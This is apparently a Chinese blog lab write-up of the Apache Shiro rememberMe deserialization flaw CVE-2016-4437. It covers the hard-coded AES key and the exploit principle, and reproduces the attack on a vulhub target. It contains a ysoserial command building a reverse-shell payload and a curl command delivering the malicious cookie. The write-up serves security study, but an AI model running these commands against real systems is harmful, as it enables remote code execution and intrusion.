Shiro 反序列化漏洞 CVE-2016-4437
影响范围
- Apache Shiro 1.0.0 - 1.2.4
- 部分集成过时 Shiro 组件的第三方框架 / 脚手架
漏洞类型
Java 反序列化
操作系统限制
无
配置要求
默认配置
漏洞利用
反弹 shell
利用原理
在 Shiro1.2.4 及以前的版本中,AbstractRememberMeManager 类在代码中硬编码了 AES-128-CBC 加密的密钥 kPH + bIxk5D2deZiIxcaaaA==,意味着所以使用默认配置的 Shiro 系统用同一个密钥进行加解密 Cookie。Shiro 方便用户在关闭浏览器保持登录状态(RememberMe 逻辑),将用户身份序列化后存入 Cookie,当用户再次访问,服务器回自动读取并反序列化还原对象。解密 Cookie 后,Shiro 直接调用 Java 的 ObjectInputStream.readObject() 来还原对象,密钥对还原对象类型进行安全防护。攻击者在 Cookie 中注入精心构造的恶意代码,Shiro 拦截含 rememberMe 字段的 HTTP 请求,恶意代码经过 base64 解码再用 AES 解密(密钥已知),ObjectInputStream 反序列化还原恶意对象,执行恶意代码
漏洞复现
现成的 vulhub 来拉取镜像
1 | #下载vulhub源代码 |

开启监听端口

下载攻击工具
1 | #准备 ysoserial |

编写加密脚本
1 | import sys, uuid, base64 |

生成 payload
1 | java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.bin |

发起攻击
1 | curl -v http://靶机ip:8080/ -b "rememberMe=$(cat cookie.txt)" |
返回 302

反弹 shell 连接成功

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Johan的秘密小窝!
评论